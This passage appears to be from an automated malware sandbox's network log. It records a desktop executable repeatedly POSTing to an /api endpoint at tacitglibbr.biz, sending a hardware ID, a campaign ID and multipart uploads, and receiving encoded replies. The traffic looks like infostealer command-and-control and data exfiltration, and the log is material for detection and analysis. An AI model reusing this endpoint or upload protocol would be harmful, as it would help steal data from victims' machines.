2024-12-16 09:37:08 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 09:37:08 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 09:37:10 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=369lttfvkjh3pu58couhpcsool; expires=Fri, 11-Apr-2025 03:23:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ylY%2BsHLcbTtUIy6DoAG0giC6TrgQyPX4DJxTuFA5DPjjCoJvbos6JQ8jNP07FB%2BAfCkNHz5ZpdMRDiWnmLj%2F8rgqXA78tuezx0lYGcwZzcJsGdfIfmLubhUZ%2BfNtoZbHD8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2db1704f7f8ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1970&min_rtt=1970&rtt_var=738&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=946&delivery_rate=1482233&cwnd=252&unsent_bytes=0&cid=7cbff445df0b1241&ts=1305&x=0"
2024-12-16 09:37:10 UTC	355	IN	Data Raw: 34 39 31 63 0d 0a 70 6e 5a 66 78 4d 59 4a 42 31 68 48 4b 33 2b 7a 35 56 52 32 62 39 4a 31 70 61 53 48 44 72 68 5a 76 45 31 35 65 57 6f 68 38 46 58 64 56 43 6e 6d 2f 44 30 72 65 6a 52 4f 58 59 6d 52 4a 67 4d 4b 2f 6c 66 45 77 4b 55 30 33 6a 6a 51 50 68 78 56 53 46 65 64 64 35 77 51 50 71 69 31 62 43 74 36 49 6c 4e 64 69 62 34 76 56 41 71 38 56 35 2b 47 34 6d 54 61 4f 4e 41 76 47 42 49 46 55 5a 77 32 7a 68 6f 34 72 4b 4e 71 59 7a 6b 72 52 68 72 57 67 44 55 63 41 62 73 59 7a 63 6d 6c 49 70 6f 38 78 6d 39 44 57 79 64 45 68 44 54 72 46 79 79 76 35 48 51 72 49 32 56 4f 45 5a 48 66 64 68 63 4b 73 42 6e 44 77 4f 78 6d 30 44 48 59 4c 68 30 54 47 6b 69 57 50 63 34 55 4f 36 32 70 59 33 63 30 49 55 45 52 30 49 6f 31 56 45 50 77 45 4e 2b 47 76 53 79 4a 43 64 30 2b 43 Data Ascii: 491cpnZfxMYJB1hHK3+z5VR2b9J1paSHDrhZvE15eWoh8FXdVCnm/D0rejROXYmRJgMK/lfEwKU03jjQPhxVSFedd5wQPqi1bCt6IlNdib4vVAq8V5+G4mTaONAvGBIFUZw2zho4rKNqYzkrRhrWgDUcAbsYzcmlIpo8xm9DWydEhDTrFyyv5HQrI2VOEZHfdhcKsBnDwOxm0DHYLh0TGkiWPc4UO62pY3c0IUER0Io1VEPwEN+GvSyJCd0+C
2024-12-16 09:37:10 UTC	1369	IN	Data Raw: 6d 55 6f 4c 55 49 57 31 4a 55 39 48 51 43 39 46 38 72 4d 36 6d 2f 61 50 4e 51 6c 46 42 45 4d 54 70 38 78 78 42 52 39 36 4f 52 73 66 58 70 39 43 54 37 55 6c 7a 45 59 47 2f 49 74 68 39 6d 72 64 5a 6f 38 30 6d 39 44 57 77 42 47 6b 54 54 50 47 7a 36 75 72 33 6c 6c 4b 43 4e 45 47 4d 4f 42 4d 78 6f 48 73 77 58 4e 79 4f 4e 76 30 7a 44 58 4b 68 77 66 53 41 33 53 4d 4e 78 55 5a 65 61 46 5a 6d 34 32 4c 31 34 64 6b 5a 68 34 44 55 32 33 47 34 65 65 70 57 6a 62 50 39 38 72 46 52 55 4d 54 35 51 35 79 52 73 37 72 4b 52 73 62 7a 49 74 53 42 44 61 69 44 59 52 41 4c 51 52 79 38 66 67 4c 4a 52 37 32 54 64 62 51 30 68 74 6c 54 54 57 56 67 69 6c 71 6d 56 69 4c 47 56 57 55 38 6a 48 4d 52 68 4e 36 46 66 4a 77 2b 70 2b 32 79 6e 62 49 51 6b 58 44 55 57 66 4e 4d 6f 55 4f 4b 47 70 Data Ascii: mUoLUIW1JU9HQC9F8rM6m/aPNQlFBEMTp8xxBR96ORsfXp9CT7UlzEYG/Ith9mrdZo80m9DWwBGkTTPGz6ur3llKCNEGMOBMxoHswXNyONv0zDXKhwfSA3SMNxUZeaFZm42L14dkZh4DU23G4eepWjbP98rFRUMT5Q5yRs7rKRsbzItSBDaiDYRALQRy8fgLJR72TdbQ0htlTTWVgilqmViLGVWU8jHMRhN6FfJw+p+2ynbIQkXDUWfNMoUOKGp
2024-12-16 09:37:10 UTC	1369	IN	Data Raw: 56 57 55 38 6a 48 4d 52 68 4e 36 46 66 4b 7a 75 42 70 31 54 72 55 49 52 34 52 42 45 75 63 4e 4e 59 62 4f 61 61 6f 59 32 38 33 4b 30 30 56 32 49 77 39 45 67 32 78 48 59 65 49 70 57 76 43 65 34 5a 76 4c 78 77 45 54 70 31 31 38 52 63 7a 71 4b 4e 39 4a 53 56 72 55 46 33 57 69 33 5a 4d 54 62 77 65 78 38 33 76 61 4e 6f 38 30 79 6f 59 48 41 74 4f 6c 54 33 4b 45 7a 6d 71 72 57 5a 6a 4f 69 4a 4e 47 4d 4f 43 50 78 67 42 38 46 6d 48 77 66 30 73 67 6e 76 78 4b 41 30 59 4a 30 43 44 50 6f 51 4c 63 37 2f 6b 62 47 6c 36 66 51 6b 61 31 49 38 39 45 67 57 77 42 63 4c 49 37 6d 33 51 50 64 38 69 46 78 30 49 51 70 49 78 79 42 51 36 6f 62 5a 35 59 44 77 33 51 31 32 66 78 7a 45 4d 54 65 68 58 38 64 62 79 66 63 78 35 36 79 77 56 46 51 39 56 30 69 69 4b 44 58 32 68 71 43 73 39 65 Data Ascii: VWU8jHMRhN6FfKzuBp1TrUIR4RBEucNNYbOaaoY283K00V2Iw9Eg2xHYeIpWvCe4ZvLxwETp118RczqKN9JSVrUF3Wi3ZMTbwex83vaNo80yoYHAtOlT3KEzmqrWZjOiJNGMOCPxgB8FmHwf0sgnvxKA0YJ0CDPoQLc7/kbGl6fQka1I89EgWwBcLI7m3QPd8iFx0IQpIxyBQ6obZ5YDw3Q12fxzEMTehX8dbyfcx56ywVFQ9V0iiKDX2hqCs9e
2024-12-16 09:37:10 UTC	1369	IN	Data Raw: 61 69 44 30 47 44 62 30 54 79 38 4c 74 5a 39 42 37 6b 47 38 63 41 30 67 62 30 67 4c 4a 47 7a 32 6c 73 69 74 36 64 44 77 4a 47 74 33 48 62 6c 51 42 76 68 66 49 79 75 6c 6e 30 6a 72 53 49 52 77 65 41 55 75 61 4a 63 55 51 4e 61 65 71 5a 47 51 2b 49 45 77 5a 31 6f 4d 77 47 30 33 2b 56 38 44 65 70 54 53 61 46 50 6b 61 57 54 6f 79 41 34 31 35 33 56 51 36 71 75 51 7a 4a 54 59 6d 52 52 58 65 67 54 38 59 42 37 6b 63 79 38 33 68 59 4e 4d 2b 32 43 34 65 48 67 6c 48 6e 6a 33 43 46 7a 36 70 71 32 52 74 65 6d 73 4a 47 73 6e 48 62 6c 51 6f 70 78 7a 4a 77 4b 56 7a 6c 43 4b 65 4b 42 64 62 55 41 4f 65 50 73 49 53 4f 4b 71 6c 62 57 30 2f 4c 55 30 63 31 34 45 31 47 77 6d 31 46 73 6a 43 36 57 4c 51 4f 74 38 6a 45 42 51 44 52 74 4a 35 68 42 4d 6c 35 76 77 72 56 44 6b 7a 58 67 Data Ascii: aiD0GDb0Ty8LtZ9B7kG8cA0gb0gLJGz2lsit6dDwJGt3HblQBvhfIyuln0jrSIRweAUuaJcUQNaeqZGQ+IEwZ1oMwG03+V8DepTSaFPkaWToyA4153VQ6quQzJTYmRRXegT8YB7kcy83hYNM+2C4eHglHnj3CFz6pq2RtemsJGsnHblQopxzJwKVzlCKeKBdbUAOePsISOKqlbW0/LU0c14E1Gwm1FsjC6WLQOt8jEBQDRtJ5hBMl5vwrVDkzXg
2024-12-16 09:37:10 UTC	1369	IN	Data Raw: 56 45 50 77 45 4e 2b 47 76 53 7a 30 4d 4d 30 34 47 42 55 44 56 59 6c 33 32 31 6f 6b 35 71 4e 6e 4a 57 4a 6c 53 68 62 61 67 7a 59 59 44 62 51 61 78 39 54 71 61 39 30 79 31 54 30 52 48 41 39 49 6d 6a 7a 4c 45 69 2b 71 71 6e 6c 67 4b 44 63 4a 55 35 47 41 4c 6c 52 56 38 43 48 41 31 76 56 76 6d 41 72 49 4c 41 30 51 42 55 2f 53 4b 49 6f 4e 66 61 47 6f 4b 7a 31 36 49 30 59 55 30 6f 67 33 48 51 47 39 45 73 37 44 35 47 72 65 4d 64 51 76 48 52 30 4a 52 70 67 30 78 52 34 30 6f 61 78 73 5a 69 68 6c 42 31 33 57 6e 33 5a 4d 54 5a 6b 51 31 63 6a 31 4c 4d 56 31 78 32 38 63 46 30 67 62 30 6a 50 4f 47 7a 6d 68 71 47 31 67 50 43 68 49 45 74 43 48 4f 52 41 47 75 52 48 47 79 2b 42 68 33 69 6e 55 4a 42 51 58 41 55 2b 66 64 34 70 55 4f 72 37 6b 4d 79 55 4c 4b 45 63 54 31 70 46 Data Ascii: VEPwEN+GvSz0MM04GBUDVYl321ok5qNnJWJlShbagzYYDbQax9Tqa90y1T0RHA9ImjzLEi+qqnlgKDcJU5GALlRV8CHA1vVvmArILA0QBU/SKIoNfaGoKz16I0YU0og3HQG9Es7D5GreMdQvHR0JRpg0xR40oaxsZihlB13Wn3ZMTZkQ1cj1LMV1x28cF0gb0jPOGzmhqG1gPChIEtCHORAGuRHGy+Bh3inUJBQXAU+fd4pUOr7kMyULKEcT1pF
2024-12-16 09:37:10 UTC	1369	IN	Data Raw: 52 72 4b 79 2b 5a 71 33 44 44 53 50 52 49 62 43 30 6a 53 65 59 51 54 4a 65 62 38 4b 30 59 74 4d 30 4d 61 33 5a 45 39 46 51 36 6d 47 74 65 47 71 79 7a 4c 50 4d 39 76 51 77 30 59 56 4a 55 6f 69 67 31 39 6f 61 67 72 50 58 6f 6a 51 42 76 57 67 54 67 47 43 4c 59 59 79 4d 2f 73 61 4e 49 34 33 69 73 66 48 41 31 41 6e 6a 7a 44 46 7a 4b 69 72 57 56 73 4e 57 55 48 58 64 61 66 64 6b 78 4e 6b 51 7a 45 79 75 67 73 78 58 58 48 62 78 77 58 53 42 76 53 4f 38 6f 52 50 61 79 69 62 32 41 38 4c 30 77 64 32 6f 51 35 45 41 75 30 47 4d 66 4e 37 47 33 63 50 74 51 6b 48 52 59 4c 52 5a 52 33 69 6c 51 36 76 75 51 7a 4a 52 6f 2b 52 42 48 57 78 79 6c 61 46 50 41 51 79 34 61 39 4c 4e 45 33 32 69 67 62 46 67 74 4c 6c 7a 50 4f 45 54 32 75 74 6d 4e 6c 50 54 64 62 48 64 69 43 4f 68 63 4e Data Ascii: RrKy+Zq3DDSPRIbC0jSeYQTJeb8K0YtM0Ma3ZE9FQ6mGteGqyzLPM9vQw0YVJUoig19oagrPXojQBvWgTgGCLYYyM/saNI43isfHA1AnjzDFzKirWVsNWUHXdafdkxNkQzEyugsxXXHbxwXSBvSO8oRPayib2A8L0wd2oQ5EAu0GMfN7G3cPtQkHRYLRZR3ilQ6vuQzJRo+RBHWxylaFPAQy4a9LNE32igbFgtLlzPOET2utmNlPTdbHdiCOhcN
2024-12-16 09:37:10 UTC	1369	IN	Data Raw: 58 31 62 39 55 71 34 47 39 44 41 6a 59 44 6d 53 48 44 42 44 36 77 72 32 5a 70 4b 78 73 4a 52 59 58 56 5a 45 5a 66 34 67 69 48 32 64 6f 69 6d 6a 71 65 64 79 49 43 53 46 58 53 62 35 5a 61 66 62 54 6b 4d 79 56 39 4a 6c 73 50 31 34 51 67 46 30 71 4f 4b 65 44 51 37 32 76 4b 50 4d 6b 67 57 31 56 49 54 4e 4a 76 2f 56 51 30 6f 62 39 36 63 7a 63 31 54 6c 33 75 79 58 59 4d 54 65 68 58 38 73 58 72 59 74 30 74 7a 32 49 38 44 51 4a 45 67 6a 44 54 47 33 33 6f 35 47 30 6c 59 6e 59 48 58 64 57 57 64 6b 78 64 34 6b 79 53 6c 62 49 38 69 43 53 51 4e 6c 73 4e 53 42 76 41 65 59 51 47 66 66 37 6b 4c 47 59 6f 4e 30 38 65 78 34 52 78 4b 6a 4f 58 44 63 72 41 38 6e 33 6b 42 64 6b 31 46 68 30 66 55 74 34 69 78 78 6f 7a 6f 62 49 72 4b 33 6f 71 43 55 58 6f 78 33 35 55 4d 76 35 58 33 Data Ascii: X1b9Uq4G9DAjYDmSHDBD6wr2ZpKxsJRYXVZEZf4giH2doimjqedyICSFXSb5ZafbTkMyV9JlsP14QgF0qOKeDQ72vKPMkgW1VITNJv/VQ0ob96czc1Tl3uyXYMTehX8sXrYt0tz2I8DQJEgjDTG33o5G0lYnYHXdWWdkxd4kySlbI8iCSQNlsNSBvAeYQGff7kLGYoN08ex4RxKjOXDcrA8n3kBdk1Fh0fUt4ixxozobIrK3oqCUXox35UMv5X3
2024-12-16 09:37:10 UTC	1369	IN	Data Raw: 4a 62 49 35 39 42 46 55 52 41 34 52 33 6e 45 5a 7a 35 72 59 72 50 58 70 69 53 67 2f 44 67 54 55 43 44 76 63 70 2b 65 48 72 61 39 73 74 7a 6a 67 55 4a 54 5a 57 6b 54 6e 4b 45 79 75 33 35 43 55 6c 4e 57 55 52 4a 4a 48 50 64 69 74 44 38 41 2b 48 6e 71 56 5a 32 54 58 51 4b 41 30 4b 52 57 53 63 4d 4d 55 43 4c 62 47 72 4b 79 74 36 49 77 6c 46 67 38 6c 32 45 42 7a 77 54 35 65 55 76 6a 6d 4a 62 49 35 39 42 46 55 52 41 34 52 33 6e 45 5a 7a 35 72 59 72 50 58 70 69 53 67 2f 44 67 54 55 43 44 76 63 70 2b 65 48 72 61 39 73 74 7a 6a 67 55 56 43 5a 31 73 77 6e 36 41 54 36 6f 71 6d 78 7a 4b 32 55 48 58 64 37 48 62 69 31 4e 2b 46 66 34 69 4b 56 30 6d 6d 4f 65 47 68 67 56 42 6b 53 45 4a 6f 6b 7a 4d 36 47 6c 66 58 55 74 4b 67 59 7a 35 36 5a 32 57 6b 32 32 56 35 2b 55 71 79 Data Ascii: JbI59BFURA4R3nEZz5rYrPXpiSg/DgTUCDvcp+eHra9stzjgUJTZWkTnKEyu35CUlNWURJJHPditD8A+HnqVZ2TXQKA0KRWScMMUCLbGrKyt6IwlFg8l2EBzwT5eUvjmJbI59BFURA4R3nEZz5rYrPXpiSg/DgTUCDvcp+eHra9stzjgUVCZ1swn6AT6oqmxzK2UHXd7Hbi1N+Ff4iKV0mmOeGhgVBkSEJokzM6GlfXUtKgYz56Z2Wk22V5+Uqy
2024-12-16 09:37:10 UTC	1369	IN	Data Raw: 4b 41 73 59 53 6e 4b 45 4e 4d 51 61 4f 75 62 71 4b 33 31 36 66 51 6b 77 77 34 41 6d 46 30 33 2b 56 38 75 47 76 53 7a 58 4b 64 6b 2f 47 46 63 50 57 5a 56 33 32 31 6f 6b 35 72 49 72 50 57 6c 72 43 51 2b 52 33 33 5a 54 41 37 30 57 78 4d 6a 6d 66 73 67 39 33 54 6b 59 58 44 5a 39 76 79 58 44 42 44 37 6b 6c 57 5a 68 4c 44 42 4b 44 64 61 35 43 44 6b 66 74 77 66 45 68 4d 6c 72 31 7a 66 67 45 53 77 4b 44 31 50 51 45 63 63 43 50 75 62 71 4b 33 31 36 66 51 6b 77 77 34 41 6d 46 30 2b 63 45 4d 72 4b 70 58 4f 55 49 70 34 35 57 30 4e 62 44 64 49 6c 68 45 78 39 34 61 64 35 64 7a 77 6d 58 78 36 57 75 51 67 35 48 37 63 48 78 49 54 55 59 64 34 74 79 79 77 4c 48 44 5a 39 76 79 58 44 42 44 37 6b 67 56 45 6e 43 7a 4e 4b 48 64 2b 41 64 6c 70 4e 71 46 65 66 68 73 68 2b 33 53 76 Data Ascii: KAsYSnKENMQaOubqK316fQkww4AmF03+V8uGvSzXKdk/GFcPWZV321ok5rIrPWlrCQ+R33ZTA70WxMjmfsg93TkYXDZ9vyXDBD7klWZhLDBKDda5CDkftwfEhMlr1zfgESwKD1PQEccCPubqK316fQkww4AmF0+cEMrKpXOUIp45W0NbDdIlhEx94ad5dzwmXx6WuQg5H7cHxITUYd4tyywLHDZ9vyXDBD7kgVEnCzNKHd+AdlpNqFefhsh+3Sv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49729	104.21.50.161	443	7508	C:\Users\user\Desktop\4TPPuMwzSA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:37:11 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LNC2VA2TEQEK105W User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12833 Host: tacitglibbr.biz
2024-12-16 09:37:11 UTC	12833	OUT	Data Raw: 2d 2d 4c 4e 43 32 56 41 32 54 45 51 45 4b 31 30 35 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 42 32 39 39 30 30 30 34 33 46 46 43 30 35 35 46 39 46 31 42 37 31 33 36 41 31 45 30 43 35 45 0d 0a 2d 2d 4c 4e 43 32 56 41 32 54 45 51 45 4b 31 30 35 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 4e 43 32 56 41 32 54 45 51 45 4b 31 30 35 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4c 4e Data Ascii: --LNC2VA2TEQEK105WContent-Disposition: form-data; name="hwid"CB29900043FFC055F9F1B7136A1E0C5E--LNC2VA2TEQEK105WContent-Disposition: form-data; name="pid"2--LNC2VA2TEQEK105WContent-Disposition: form-data; name="lid"PsFKDg--pablo--LN
2024-12-16 09:37:12 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pfiq174ec22ngpj75n8101kk4q; expires=Fri, 11-Apr-2025 03:23:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4P1yOJ3FljUHFoJUvWQMORZX3bSq6NyLko6kyErrE6Tcm5UENlsx%2F1KCoXUNh3kdL8sz8yeg796bVePowWoBhOb2YpsdyVJp0%2FQnwIn9eEztMkV9aRHJXjVPlc99tDfM4Kc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2db18199ae0f8b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1465&min_rtt=1459&rtt_var=560&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2839&recv_bytes=13770&delivery_rate=1932495&cwnd=237&unsent_bytes=0&cid=3d3b3b85be38f2e4&ts=785&x=0"
2024-12-16 09:37:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 09:37:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49738	104.21.50.161	443	7508	C:\Users\user\Desktop\4TPPuMwzSA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:37:13 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4DJ33ZLPP2151VO25A User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15063 Host: tacitglibbr.biz
2024-12-16 09:37:13 UTC	15063	OUT	Data Raw: 2d 2d 34 44 4a 33 33 5a 4c 50 50 32 31 35 31 56 4f 32 35 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 42 32 39 39 30 30 30 34 33 46 46 43 30 35 35 46 39 46 31 42 37 31 33 36 41 31 45 30 43 35 45 0d 0a 2d 2d 34 44 4a 33 33 5a 4c 50 50 32 31 35 31 56 4f 32 35 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 44 4a 33 33 5a 4c 50 50 32 31 35 31 56 4f 32 35 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --4DJ33ZLPP2151VO25AContent-Disposition: form-data; name="hwid"CB29900043FFC055F9F1B7136A1E0C5E--4DJ33ZLPP2151VO25AContent-Disposition: form-data; name="pid"2--4DJ33ZLPP2151VO25AContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-16 09:37:14 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h11jh02k4n69qb09vr6480scdh; expires=Fri, 11-Apr-2025 03:23:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oD9nfallopju%2B8lx6XzpZC19eIoJ2lqhm30xaEdlrbrvEwfPUFfT4414DxmbIhBwMB%2FsS94hh8B04yVQmozrbTAFEmVyjgTOd%2FumcxCe64%2F2hBxqgO3%2B%2FoC8Goyb27h1JAY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2db18f2f0a424c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1550&min_rtt=1546&rtt_var=589&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16002&delivery_rate=1842271&cwnd=227&unsent_bytes=0&cid=6acde836e339df13&ts=830&x=0"
2024-12-16 09:37:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 09:37:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49746	104.21.50.161	443	7508	C:\Users\user\Desktop\4TPPuMwzSA.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:37:16 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3D0T4017M User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20525 Host: tacitglibbr.biz
2024-12-16 09:37:16 UTC	15331	OUT	Data Raw: 2d 2d 33 44 30 54 34 30 31 37 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 42 32 39 39 30 30 30 34 33 46 46 43 30 35 35 46 39 46 31 42 37 31 33 36 41 31 45 30 43 35 45 0d 0a 2d 2d 33 44 30 54 34 30 31 37 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 33 44 30 54 34 30 31 37 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 33 44 30 54 34 30 31 37 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --3D0T4017MContent-Disposition: form-data; name="hwid"CB29900043FFC055F9F1B7136A1E0C5E--3D0T4017MContent-Disposition: form-data; name="pid"3--3D0T4017MContent-Disposition: form-data; name="lid"PsFKDg--pablo--3D0T4017MContent-Disp
2024-12-16 09:37:16 UTC	5194	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 fa a3 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: s}Q0u?4E([:s~X`nO
2024-12-16 09:37:17 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:37:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vtoa8jlvo6udq4d9aee00cijk7; expires=Fri, 11-Apr-2025 03:23:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IpdoyqC8hamx%2Bo5umDi0esOxf50WsMLwflql9GULNLO5pXmmbVLXdVxRWZXXd8y0HvQ14XRNTVosrPLXpSW1YrHxl8GtqqwhQc5XXGweNJPQpubmvDAZBGhyn9MRK6CBt5A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2db19d7853430e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1731&min_rtt=1727&rtt_var=656&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21477&delivery_rate=1658148&cwnd=186&unsent_bytes=0&cid=0336600fb51dc220&ts=865&x=0"
2024-12-16 09:37:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 09:37:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49752	104.21.50.161	443	7508	C:\Users\user\Desktop\4TPPuMwzSA.exe

Timestamp	Bytes transferred	Direction	Data
